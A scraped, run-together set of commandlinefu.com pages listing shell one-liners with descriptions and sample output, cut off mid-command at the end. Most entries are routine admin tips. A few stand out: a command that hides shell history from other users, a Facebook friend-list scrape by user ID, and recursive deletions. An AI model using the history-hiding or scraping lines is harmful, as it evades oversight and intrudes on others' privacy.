the syntax changes to: for %%f in (c) do dir %%f:\%1 /s /p you can then use find *.jpg newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}' | grep -v 64.142);PS1="[`id -un`.$newhostname.$ipaddress]"' (${PWD}): '; export PS1 [simardd.b-vmesx2.build.201.23] (/home/simardd): Functions: awk export grep hostname nslookup change your PS1 to look better :) changes the PS1 to something better than default. [username.hostname.last-2-digits-of-ip] (current directory) uuencode -m <filename> <filename> On the source server: ~$ cat test.txt testing uuencode ~$ uuencode test.txt test.txt begin 644 test.txt 1=&5S=&EN9R!U=65N8V]D90H` ` end On the destination server: ~$ cat test.txt.uu ~$ uudecode test.txt.uu I have come across multiple situations where I could only get to a server from a very restrictive bounce point which would not allow file transfers. I was able to uuencode a file, copy the output to a text file over putty, and then uudecode the file to transfer it. This works with any kind of file. grep --exclude-dir=.svn --exclude=*~ -i "TODO" -rl . sed '1,55d' delete first X lines of a file deletes first 55 lines; change the 55 to whatever number ping -c 10 hostname Ping 10 times then quit On Linux and Mac systems (I have not tested with other Unix systems), the ping command will keep on pinging until the user interrupts it with Ctrl+C. On Windows system, ping will execute for a number of times then quit. The -c flag on Linux and Mac will make this happen find directory/ |xargs grep -i "phrase" Recursive grep through directory for file. find . -name .svn -type d | parallel rm -rf Recursively remove all .svn directories marbles () { c=''; for i in $(seq $1); do c+='{b,r}'; done; x=$(eval echo $c); p=''; for i in $(seq $2); do p+='b*r'; done; y=$(grep -wo "${p}b*" <<< $x); wc -l <<< "$y"; grep -vc 'rr' <<< "$y"; } $ marbles 11 4 330 70 $ marbles 15 5 3003 462 marbles 5 2 Functions: echo eval grep seq wc Function to solve a simple combinatorial maths puzzle from the command line Suppose you have 11 marbles, 4 of which are red, the rest being blue. The marbles are indistinguishable, apart from colour. How many different ways are there to arrange the marbles in a line? And how many ways are there to arrange them so that no two red marbles are adjacent? There are simple mathematical solutions to these questions, but it's also possible to generate and count all possibilities directly on the command line, using little more than brace expansion, grep and wc! The answer to the question posed above is that there are 330 ways of arranging the marbles in a line, 70 of which have no two red marbles adjacent. See the sample output. To follow the call to marbles 11 4: after c=''; for i in $(seq $1); do c+='{b,r}'; done;, $c equals {b,r}{b,r}{b,r}{b,r}{b,r}{b,r}{b,r}{b,r}{b,r}{b,r}{b,r} After x=$(eval echo $c), and brace expansion, $x equals bbbbbbbbbbb bbbbbbbbbbr ... rrrrrrrrrrb rrrrrrrrrrr, which is all 2^11 = 2048 strings of 11 b's and r's. After p=''; for i in $(seq $2); do p+='b*r'; done;, $p equals b*rb*rb*rb*r Next, after y=$(grep -wo "${p}b*" Finally, grep -vc 'rr' ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar find all processes named hunger and force kill, minus the grep itself and output to a file called fu.bar !previous_command run a previous command Only a few characters of the previous command are necessary. function expand-tabs() { expand -t 8 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; } Functions: expand mv Expand tabs I don't like TABs in sources files because in case of mixture of TABs and spaces they looks in different editors. Even worse mixing TABs and spaces could be a problem when you use Python. sed '${LINE}d' ~/.ssh/known_host user@host:~$ ssh user@server @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: POSSIBLE DNS SPOOFING DETECTED! @ The RSA host key for server has changed, and the key for the corresponding IP address 1.2.3.4 is unknown. This could either mean that DNS SPOOFING is happening or the IP address for the host and its host key have changed at the same time. @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is ff:ff:f:ff:ff:ff:ff:ff:ff:f:ff:ff:ff:ff Please contact your system administrator. Add correct host key in /home/user/.ssh/known_hosts to get rid of this message. Offending key in /home/user/.ssh/known_hosts:49 RSA host key for server has changed and you have requested strict checking. Host key verification failed. user@host:~$ sed -i '49d' ~/.ssh/known_hosts The authenticity of host 'server (1.2.3.4)' can't be established. RSA key fingerprint is ff:ff:f:ff:ff:ff:ff:ff:ff:f:ff:ff:ff:ff. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'server,1.2.3.4' (RSA) to the list of known hosts. user@server's password: When you SSH to a server who's hostname or IP has changed since the last time a connection was recorded in the known_hosts file a warning will be displayed since this indicated a possible DNS spoofing attack. If this is a known change then this command will remove the previous entry and allow the SSH connection. The SSH client will prompt you as if it was the first time connected to the server. Replace ${LINE} with the line of the offending key in ~known_hosts. 49 in the sample output. find . -type f -name \*.php | while IFS="" read i; do expand -t4 "$i" > "$i-"; mv "$i-" "$i"; done Functions: expand find mv read Replace spaces with tabs & format file source recursively within a directory Recursively find php files and replace tab characters with spaces. "\*.php" -- replace this with the files you wish to find "expand" -- replace tabs with spaces (use "unexpand" to replace spaces with tabs) "-t4" -- tabs represent 4 spaces Note: The IFS="" in the middle is to prevent 'read' from eating leading/trailing whitespace in filenames. lsb_release -d Find which version of Linux You are Running show 802-1w some-foundry-Now-Brocade#show 802-1w --- VLAN 1 [ STP Instance owned by VLAN 1 ] ---------------------------- VLAN 1 BPDU cam_index is 2 and the IGC and DMA master Are (HEX) 0 1 2 3 Bridge IEEE 802.1W Parameters: Bridge Bridge Bridge Bridge Force tx Identifier MaxAge Hello FwdDly Version Hold hex sec sec sec cnt 800000e080541700 20 2 15 Default 3 RootBridgeID RootPathCost Designated_BridgeID Root_Port MaxAge FwdDly Hello hex hex sec sec sec 800000e0804c9c00 200000 800000e0804c9c00 1 20 15 2 Port IEEE 802.1W Parameters: <--- Config Params -------------->|<------- Current state -------------->| Port Pri PortPathCost P2P MAC Edge Port Role State Desig. Cost Desig. bridge 1 128 200000 F F ROOT FORWARDING 0 800000e0804c9c00 2 128 200000 F F ALTERNATE DISCARDING 200000 800000e080548400 3 128 200000 F F DESIGNATED FORWARDING 200000 800000e080541700 4 128 200000 F F BACKUP DISCARDING 200000 Use this command to view information regarding RSTP (802.1W). ‹ First < 323 324 325 326 327 > Last › find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -exec cat {} \;|wc -l 855476 Count your source and header file's line numbers For example for java change the command like this find . -name '*.java' -exec cat {} \;|wc -l fortune -s -c -a | cowthink -d -W 45 _______________________________________________ ( (futurama) % ) ( ) ( "Bender, we didn't mind your drinking or ) ( your cleptomania or your pornography ring." ) ( -Leela ) ( "In fact, that's why we love you." -Zoidberg ) ----------------------------------------------- A death cow thinking in your fortune cookie The popular fortune program telling by a cow (see sample). - fortune - cowsay for i in $( find . ); do echo zipping file: $i zip $i.zip $i done zip error: Nothing to do! (..zip) zipping file: ./stuff adding: stuff (stored 0%) zipping file: ./stuff2 adding: stuff2 (stored 0%) zipping file: ./stuff3 adding: stuff3 (stored 0%) zipping file: ./zipscript.sh adding: zipscript.sh (deflated 16%) zip all files in a directory, one file per zip Note that this will not work with files with spaces or characters that need to be escaped. Feel free to leave any comments to improve upon this command, and I'll add it in. Thanks! alias df="df | awk 'NF == 1 {printf(\$1); next}; {print}'" Filesystem 1K-blocks Used Available Use% Mounted on Personally I think line wrap in default df command is annoying for scripting & seeing. So I overwrite it. Maybe more work should be done if wrapped line is over 2... cd /example/directory && unzip \*.zip unzip all .zip files in /example/directory Simple but useful little command to unzip all files in a directory. while :; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols))); while (( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null; i=$(expr $i + 1); done done Functions: cat cut echo expr head tput Matrix Screen HPUX scp $user@$server:$path/to/file . echo **/* | xargs grep 'hoge' Functions: echo grep xargs grep 'hoge' **/* => Argument list too long if Argument list too long ls .??* Works 99.9% of the time; so far never required a more complex expression in manual input. sitepass2() {salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]' |tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));} sitepass2 mypassword www.commandlinefu.com GL5/Ry1bG8&@w` Functions: cut gzip strings tr This generates a unique and secure password with SALT for every website that you login to This is a safest variation for "sitepass function" that includes a SALT over a long loop for sha512sum hash grep -r hoge . for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done Rename files that have number, space and hyphen I have often file like this I rename all with this command then it looks like this file.file etc ack hoge . rdate -s time-A.timefreq.bldrdoc.gov Functions: rdate set the system date wmwave Graphical display of wireless links wmwave is part of wmwave package, when launched display a small wireless link monitor on your desktop with noise, level and link power. gpg --verify file.txt.asc file.txt verify a file using its detached signature alias gtasks='chromium-browser --app=https://mail.google.com/tasks/ig' Google Tasks webapp using Chromium Browser requires a gmail account, it opens Google tasks in a self contain window, to write your todo list and have it sync online yay =) gpg -d file.txt.gpg -o file.txt decrypt file.txt.gpg using my private key alias findstring="find . -type f -print | xargs grep $1" Quick findstring recursively in dirs (Alias from long find with xargs cmd) for i in {21..79};do echo -e "\x$i";done | tr " " "\n" | shuf | tr -d "\n" Tx(%FB'9u3&f@Pt0h#iH"y2R4s!r$8q6cwE1bD5eU)7YgXavAIpGSdQWV`C Random Password Generator (uses all chars, no repeated chars) Generates a password using symbols, alpha, and digits. No repeating chars. gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> ... SEE SAMPLE OUTPUT FOR FULL COMMAND The command is: gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> #include <stdint.h> #include <gmp.h> void omg_i_love_leonardo_of_pisa(uint32_t num, mpz_t * result) { mpz_t retval, last, tmp; mpz_init(retval); mpz_init(last); mpz_init(tmp); uint32_t i = 1; if(num == 0) return; mpz_set_ui(retval, 1U); mpz_set_ui(last, 0U); for(; i < num; i++) { mpz_set(tmp, retval); mpz_add(retval, retval, last); mpz_set(last, tmp); } mpz_set(*result, retval); } int main() { uint32_t num; mpz_t fibo; mpz_init(fibo); omg_i_love_leonardo_of_pisa(1000001, &fibo); mpz_out_str(stdout, 10, fibo); printf("\n"); return 1; } ' && time /tmp/out Functions: c++ gcc The 1 millionth fibonacci number It's hard to beat C. This is just slightly faster than the bc version on my machine. real 0m26.856s user 0m25.030s sys 0m0.024s Requirements: libgmp headers, gcc. pkill for FILE in $(ls); do [COMMAND]; done small one-line loop, change for different taste :P # Small for loop, that can list files in dir, and after that executes # [COMMAND] of your choice, usefull for example rename, move, tar etc.. # change cmd's for different results :) yum erase `yum list installed | grep 'php'` Remove rpm package by pattern This is useful for remove all packages that are part of a common suite. perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));' yesterday ‹ First < 324 325 326 327 328 > Last › model : 15 stepping : 6 cpu MHz : 1595.930 physical id : 3 siblings : 2 cpuid level : 10 flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm syscall nx lm constant_tsc pni monitor ds_cpl vmx tm2 cx16 xtpr dca lahf_lm bogomips : 3195.07 full cpu info (linux) how to get full cpu info of your (linux) box for i in `netstat -rn |grep lan |cut -c55-60 |sort |uniq`; do ifconfig $i; done for i in `netstat -rn |grep lan |cut -c55-59 |sort |uniq`; do ifconfig $i; done lan0: flags=843<UP,BROADCAST,RUNNING,MULTICAST> lan1: flags=843<UP,BROADCAST,RUNNING,MULTICAST> Functions: cut grep ifconfig sort HP UX doesn't have a -a switch in the ifconfig command. This line emulates the same result shown in Solaris, AIX or Linux awk 'NR==linenumber' filename It outputs a given line from a file echo 213.251.145.96 wikileaks.com | sudo tee -a /etc/hosts This one is a little bit easier for those of us that aren't always root. snmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> . Snmpwalk a hosts's entire OID tree with SNMP V3 without Authentication or Privacy while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done tcp 0 0 x.x.x.x:49013 tx-in-f191.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:53838 hk-in-f83.google.:https ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:35615 hk-in-f19.google.:https ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:52213 tx-in-f103.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:38914 tx-in-f133.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:45856 tx-in-f99.google.c:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:45863 tx-in-f99.google.c:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:45862 tx-in-f99.google.c:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:44211 ag-in-f12:jabber-client ESTABLISHED 4351/pidgin tcp 0 0 x.x.x.x:45861 tx-in-f99.google.c:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:44212 ag-in-f12:jabber-client ESTABLISHED 4351/pidgin tcp 0 0 x.x.x.x:52210 tx-in-f103.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:37718 tx-in-f101.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:52212 tx-in-f103.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:52211 tx-in-f103.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:52209 tx-in-f103.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:52377 hk-in-f104.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:41747 calvino.freenode.n:ircd ESTABLISHED 4406/irssi tcp 0 0 x.x.x.x:49014 tx-in-f191.google.:http ESTABLISHED 3156/firefox-bin tcp 0 0 x.x.x.x:45857 tx-in-f99.google.c:http ESTABLISHED 3156/firefox-bin Monitor Applications application that are connected/new connections The -p parameter tell the netstat to display the PID and name of the program to which each socket belongs or in digestible terms list the program using the net.Hope you know what pipe symbol means! Presently we wish to only moniter tcp connections so we ask grep to scan for string tcp, now from the op of grep tcp we further scan for regular expression /[a-z]*. Wonder what that means ? If we look at the op of netstat -p we can see that the name of the application is preceded by a / ( try netstat -p ) so,now i assume application name contains only characters a to z (usually this is the case) hope now it makes some sense.Regular expression /[a-z]* means to scan a string that start with a / and contains zero or more characters from the range a-z !!. Foof .. is t $ lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=100003119823986&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2 frnd snmpwalk -v3 -On -u <user> -l AuthNoPriv -a MD5 -A <auth_password> -m ALL <HOST_IP> . Snmpwalk a hosts's entire OID tree with SNMP V3 with MD5 Authentication and without Privacy cat * no need for a for loop when cat takes multiple arguments snmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> . Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and without Privacy links2 -dump http://checkip.dyndns.com | cut -d ' ' -f7 snmpwalk -v3 -On -u <user> -l AuthPriv -a SHA -A <auth_password> -X <encryption_password> -m ALL <HOST_IP> . Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and with Privacy find -name ".svn" -exec rm -rf {} \; Removes the .svn entries from a project simple find and exec example find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \; Functions: bash find test telnet <ip> <port> $ telnet 127.0.0.1 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. test connection if ICMP is disabled Telnet will make a tcp connection to a remote ip/port to test connectivity. If it times out, it's not reaching the host (maybe the firewall is blocking it). If connection is refused, it's reaching the host, but either the service is not listening on that port, or it's locked. wget -r -k -l 7 -p -E -nc http://site.com/ скачать сайт -r ? указывает на то, что нужно рекурсивно переходить по ссылкам на сайте, чтобы скачивать страницы. -k ? используется для того, чтобы wget преобразовал все ссылки в скаченных файлах таким образом, чтобы по ним можно было переходить на локальном компьютере (в автономном режиме). -p ? указывает на то, что нужно загрузить все файлы, которые требуются для отображения страниц (изображения, css и т.д.). -l ? определяет максимальную глубину вложенности страниц, которые wget должен скачать (по умолчанию значение равно 5, в примере мы установили 7). В большинстве случаев сайты имеют страницы с большой степенью вложенности и wget может просто ?закопаться?, скачивая новые страницы. Чтобы этого не произошло можно использовать параметр -l. -E ? добавлять к загруженным файлам расширение .html. -nc ? при использовании данного параметра существующие файлы не будут перезаписаны. Это удобно, когда нужно продолжить загрузку сайта, прерванную в предыдущий раз. wget -q -O - "$@" <url> redirect wget output to the terminal, instead of a file rpm -qf /lib/modules/* $ rpm -qf /lib/modules/* kernel-2.6.31.12-174.2.19.fc12.x86_64 kernel-2.6.31.12-174.2.22.fc12.x86_64 Exploit that RPM database just sitting there, taking up space. echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1 Functions: echo tail sudo lsof|sed 's/ */ /g'|cut -f3 -d' '|sort -u _mysql _postfix couchdb lloyd Functions: cut sed sort sudo Most systems (at least my macbook) have system users defined, such as _www and using "users" for example will not list them. This command allows you to see who the 'virtual' users are on your system. svn log | grep "bodge\|fudge\|hack\|dirty" Quickly assess quality of project by greping the SVN commit logs A good way to understand what you've let yourself in for. Potential project metric could be the count: svn log | grep -c "bodge\|fudge\|hack\|dirty" grep query -r . --exclude-dir=.svn amixer -c 0 set PCM 2dB+ sets volume via command line this will increase the volume by 2 decibels on the pcm channel. the argument to -c is for which sound card to use, the arg after set is the channel (PCM, Master, etc.) and what to set by. related commands: amixer -c 0 set PCM 2dB- decrease volume by 2 decibels amixer -c 0 set PCM toggle toggle mute/unmute this is for alsa systems for mac os (and maybe other UNIX systems) osascript -e 'set Volume *' where * is any number (can have decimal points) between 0 and 10 ps -u $USER |grep $1 | awk '{ print $1}'| xargs kill Kill a process with its name Well this can come handy , when you don't feel like playing with pid rather if you know the process name say "firefox",it would kill it.The script given below would kill the process with its name given as first parameter , though not robust enough to notify that process doesn't exist , well if you know what you are doing that's wouldn't be a problem.:) killhim.sh echo alias xkcd="gwenview `w3m -dump http://xkcd.com/|grep png | awk '{print $5}'` 2> /dev/null" >> .bashrc Add an alias to your .bashrc that allows you to issue the command xkcd to view (with gwenview) the newest xkcd comic... I know there are thousands of them out there but this one is at least replete with installer and also uses a more concise syntax... plus, gwenview shows you the downloading progress as it downloads the comic and gives you a more full featured viewing experience. ‹ First < 325 326 327 328 329 > Last › TZ=GMT date -d "1970/01/01 00:29:36" +%s sed -i "s/\(\x09\{1,\}\)\|\( \{1,\}\)/ /g;s/\(\x09\{1,\}$\)\|\( \{1,\}$\)//g" brisati.txt $ cat brisati.txt [ ]<--one tab [ ]<--three tabs [ ]<--one space [ ]<--three spaces $ sed -i "s/\(\x09\{1,\}\)\|\( \{1,\}\)/ /g;s/\(\x09\{1,\}$\)\|\( \{1,\}$\)//g" brisati.txt;cat brisati.txt [ ]<--one tab [ ]<--three tabs [ ]<--three spaces This command does the following: - converts any sequence of multiple spaces/tabs to one space only - completely removes any space(s)/tab(s) at the end of each line (If spaces and tabs are mixed in a sequence i.e. [tab][tab][space][tab], you have to execute this command twice!) find . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt Functions: egrep find xargs Search all files of type *.php for string 'specialFunction' and output the result in searchResult.txt Will search recursively and output the searchResult.txt in the same folder you are located. date -ud "1970/01/01 00:29:36" +%s uses the -u switch for UTC Another way could be echo $(($(date -ud "00:29:36" +%s)%86400)) ifdata -pa eth0 Require the moreutils package convert permissions in ls to octal date -j -v1d -v-0m -v-1d +'%m %d %Y' :~ date -j -v1d -v-0m -v-1d +'%m %d %Y' 02 28 2010 :~ Calculate the the last day of a month +/- from current month This produces a parseable output of the last day of the month in future or past. Change the '-v-0m' to be a month plus or minus from the current system time. (echo "" | xsel -o) ; (programa | wgetpaste -s dpaste | awk '{print $7}' | xsel -ai) Super Paste manda la salida de un comando hacia un servicio de paste y coloca la url de ese paste en el portapapeles wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//' aptitude show packages_name netstat -tunlp Shows you all listening tcp/udp ports, and what program has them open(depending on rights) tar -xfv archive.zip Simplicity tends to win out on commandlinefu.com Also, why type multiple filenames when range operators work too. Saves finger abuse and time and reduces the chances for mistakes. clean up memory on linux (fedora) It clears caches from memory. It works fine on CentOS and Fedora. It will show you how much memory you need, for real. cowsay `fortune` | toilet --gay -f term Even better Cowsay/Fortune declare -i aa ; aa=3*8 ; echo $aa declare variable as integer alias apt-get='sudo apt-get' Always run apt-get as root apt-get must be run as root, and it is useless to run it as your own user. So just run it as root. Saves you the "sudo !!" every time you're adding a package. figlet gunslinger_ gunslinger@localhost:~$ figlet gunslinger_ __ _ _ _ _ __ ___| (_)_ __ __ _ ___ _ __ / _` | | | | '_ \/ __| | | '_ \ / _` |/ _ \ '__| | (_| | |_| | | | \__ \ | | | | | (_| | __/ | \__, |\__,_|_| |_|___/_|_|_| |_|\__, |\___|_|____ |___/ |___/ |_____| Text to ascii art convert your text to ascii art unzip \*.zip Unzip all files with ".zip" extension. "unzip *.zip" doesn't work as expected, because unzip handle wildcards in a different way. You just need to escape the wildcard or do in another way: for f in *.zip; do unzip "$f"; done for i in *; do [[ ! -d $i && -x $i ]] && ./"$i" & done Run every command on a directory alias ltr 'ls -altr' Quick setup to list all directory contents by time reversed sort... most recent change last. Create an alias to list all contents of the current directory in "reverse" time order. Thus the last modified file will appear just above your next prompt. Useful for remembering where you left off modifying files in a folder or just noting recent changes. csh format but bash syntax similar unlink <linkname> Functions: unlink Remove a symbolic link if you had a symbolic link called "oldLink" in the current folder then you would want to do unlink oldLink http://goosh.org Once the command prompt come and you type something to search like below: guest@goosh.org:/web> nagios 1) Nagios - The Industry Standard in IT Infrastructure Monitoring Nagios provides enterprise-class Open Source monitoring of hosts, services, ... Learn why organizations around the world trust Nagios to handle their IT ... http://www.nagios.org/ 2) Nagios - About Nagios Nagios is a powerful monitoring system that enables organizations to identify and resolve IT infrastructure problems before they affect critical business ... http://www.nagios.org/about/ 3) Nagios - Wikipedia, the free encyclopedia Nagios (pronounced /ˈnɑːɡi.oʊs/) is a popular open source computer system and network monitoring software application. It watches hosts and services, ... http://en.wikipedia.org/wiki/Nagios 4) Nagios Enterprises Industry-leading, professional support contracts for Nagios ensure that your organization's critical IT infrastructure monitoring doesn't miss a beat. ... http://www.nagios.com/ Seach google from the command line in Unofficial google shell You can try it . Nice shell interface to search google from the command line.Visit http://goosh.org in your browser. find . -type f | while read f; do chmod -x "$f"; done Functions: chmod find read I hate -exec with find, and this pattern quickly expands to other tasks. ls -laR > /path/to/filelist Output all Files in Directory w/ Details to Filelist Ever need to output an entire directory and subdirectory contents to a file? This is a simple one liner but it does the trick every time. Omit -la and use only -R for just the names moon-buggy MM MM OOOOO OOOOO NN N ############# ################# ################### ########################## When you have time to consume sudo apt-get install moon-buggy An ascii 2D game where you control a mooncar and try to avoid moonhole by jumping (press space ) ‹ First < 326 327 328 329 330 > Last › VARIABLE="VALUE" COMMAND $ LANG=es_ES date -h date: opcion invalida -- h Pruebe `date --help' para mas informacion. $ LANG=en_EN date -h date: invalid option -- 'h' Try `date --help' for more information. Executes a command changing an environment variable Allows you to change the value of an environment variable only for the execution of the command in the line. (corrected) echo '!'whammy !whammy use a literal bang (exclamation point) in a command Seems obvious, but other seemingly simple ways to use it don't work: echo !whammy echo "!whammy" both output: -bash: !whammy: event not found and this: echo "\!whammy" outputs: \!whammy with the slash :( you can also do any combinations of quotes for a complex string: echo "It's great to be able to use a bang ("'!'") in a command"'!' It's great to be able to use a bang (!) in a command! head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1 Functions: head tail wc prints a random line export HISTFILE=/dev/null/ Export you history to nowhere This command is great for dumping your history so that when you're working on a system that is under a shared account, you can keep others from reviewing your history file. I use this when I'm just visiting a system to diagnose a problem, or to make a quick fix. ps aux | grep process-name | grep -v "grep" dd if=/dev/sda of=~/backup-disk-YY-MM-DD.img Back Up a disk to an image in your home directory Change /dev/sda with the Disk or partition you want to back-up To restore use: dd if=~/backup-disk-YY-MM-DD.img of=/dev/sda Once again change /dev/sda accordingly Source: http://www.go2linux.org/linux/2010/09/small-tip-back-disks-clone-hard-disk-773 /bin/ls *.png | xargs -l1 -I {} convert {} -modulate 100,100,70 ../../icons/32x32/{} see http://www.imagemagick.org/Usage/color_mods/#modulate mvn -Dmaven.test.skip=true install Skipping tests in Maven the maven.test.skip property can be added to other goals too. for i in *; do mv $i prependtext$i; done grep -iR find_me ./ ./lib/tcpdf/tcpdf.php: public function find_me() { ./lib/tcpdf/tcpdf.php: public function Close($find_me) { Find String Searching for a String in Multiple Files With Grep m-a a-i open-vm compile openvm-tools compile and install openvm-tools module in debian lenny finger @www.linuxbanks.cn | grep -oE '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' | head -n1 Functions: finger grep head find out public ip address by using any host that have 'efingerd -n' This is useful when you got a reserved IP address like 192.168.0.100 and want to find out what IP address is used to access the Internet. You have to know a server with 'efingerd -n' configured, like www.linuxbanks.cn as above. Other method to find out this information are for example access www.tell-my-ip.com and grep the output. The finger method have the advantage that it is easy to deploy a service like www.tell-my-ip.com, as you only need to get efingerd installed. for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo %G ) Get filename from a full file path shuf file.txt | head -n 1 Functions: head xterm -e "cd /my/directory; bash" Start xterm in given directory Usefull e.g. in krusader open terminal function ( cd /my/directory; xterm& ) Perfect time for the rarely used sub shell. aptitude purge linux-image | grep ^i | grep -v $(uname -r) Functions: grep uname chmod 755 $(find public_html -type d) ps aux | grep -v `whoami` Check processes runed not by you php -r 'echo md5("password") . "\n";' Use php and md5 to generate a password another alternative to encrypt strings ls -l|awk '{print $6,$8}'|sort -d /etc$ ls -l|awk '{print $6,$8}'|sort -d 2003-12-04 locale.alias 2006-05-08 jvm 2006-07-10 mtools.conf 2009-03-10 resolv.conf 2009-03-11 purple 2009-03-12 gdm display most recently modified files Can pipe to tail or change the awk for for file size, groups, users, etc. for file in $(seq -f '%03.f' 1 $TOTAL ); do echo "($file/$TOTAL)"; curl -f -O http://domain.com/Name_$file.ext; done Functions: echo file seq With counter format [001, 002, ..., 999] , nice with pictures or wallpapers collections. mkdir 0{0..9}{0..9};mv 000 100 no external commands, but can only do 0-99, not 1-100, so we adjust it later pkill -U MYWIFE Kills MYWIFE. Kills all processes owned by user MYWIFE (replace MYWIFE with username or ID of your choice) (Thanks, porges, for the better command) ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\ List all executable files in the current directory ‹ First < 327 328 329 330 331 > Last › for i in *ext; do mv $i ${i%.ext}; done Renaming files removing some unwanted extension For those files in current folder that would be shown in `ls *ext`, for some extension ext, move/rename that file removing the .ext suffix from the file name. It uses Bash's parameter substitution, as seen in http://tldp.org/LDP/abs/html/parameter-substitution.html#PCTPATREF (for analog use in prefix, see http://tldp.org/LDP/abs/html/parameter-substitution.html#PSOREX2 ) ls -Sl * | head Print the ten largest files head by default displays first ten lines of its output. Use 'head -nXX' to display the XX largest files echo 'mkcd() { mkdir -p "$@" && cd "$_"; }' >> ~/.bashrc ~/#$ mkcd /path/to/new/folder /path/to/new/folder#$_ Functions: cd echo mkdir combines mkdir and cd added quotes around $_, thanx to flatcap! sudo chmod -R g=u-w,g+X * Functions: chmod sudo Chmod directories to add executable & read permission to the group safely echo 'example' | sed -e 's/^\(.\)/\U\1/' Example Convert the first character of a string to uppercase ls | xargs du -sh help builtin builtin: builtin [shell-builtin [arg ...]] shell builtin to be a function, but need the functionality of the builtin within the function itself. don't `man bash` rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7` This is useful for command line 'recycle bins' and such like seq -w 100 | sed 's/^/login/' Create a list of sequential logins This command generates a sequential login list. Good to be used as a source of new logins. dpkg-reconfigure -phigh xserver-xorg root:~# dpkg-reconfigure -phigh xserver-xorg xserver-xorg postinst warning: overwriting possibly-customised configuration file; backup in /etc/X11/xorg.conf.20090226181510 Creates a minimalist xorg.conf # indicates a comment in shell # some data for later reference # partially built command # tag [tag-name] # Mon Mar 16 23:07:45 GMT 2009 Using the "#" in shell is surprisingly useful. Some of the uses I found: a) As a visible copy buffer in shell history (caveat: do not use for passwords :-) b) To build complex commands until ready then hit the HOME, DEL, ENTER keys to run it c) Placing reference data into shell history (search for tags with CTRL-R TAGNAME) d) Putting aside a "work in progress" command to focus on another task (HOME # ENTER) fb perl -p -i -e ?s/New/Old/g? *.html Replace text in several files -p -> loop (same as -n in sed) -i -> edit files -e -> execute command replace Old with New in all *.html files dd if=/dev/zero of=/tmp/bigfile bs=1024k count=100 create a big file curl -s http://www.google.com/ig/api?weather=$(curl -s "http://api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)" | grep City | sed 's/City: \(.*\)/\1/' | sed 's/ /%20/g' | sed "s/'/%27/g") | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1\n|' Weather based on your location open man page of last used command when we work with terminal often we open man pages for help if we did some mistakes and when we want to open the man page for command we are working with this one helps as many people may be knowing that '!!' performs the last command action we use it in sudo !! to perform the last action with root previleages man !! will also be helpful and handy thanx col1(){ case $# in 0)echo col1 col-length;;*) sed 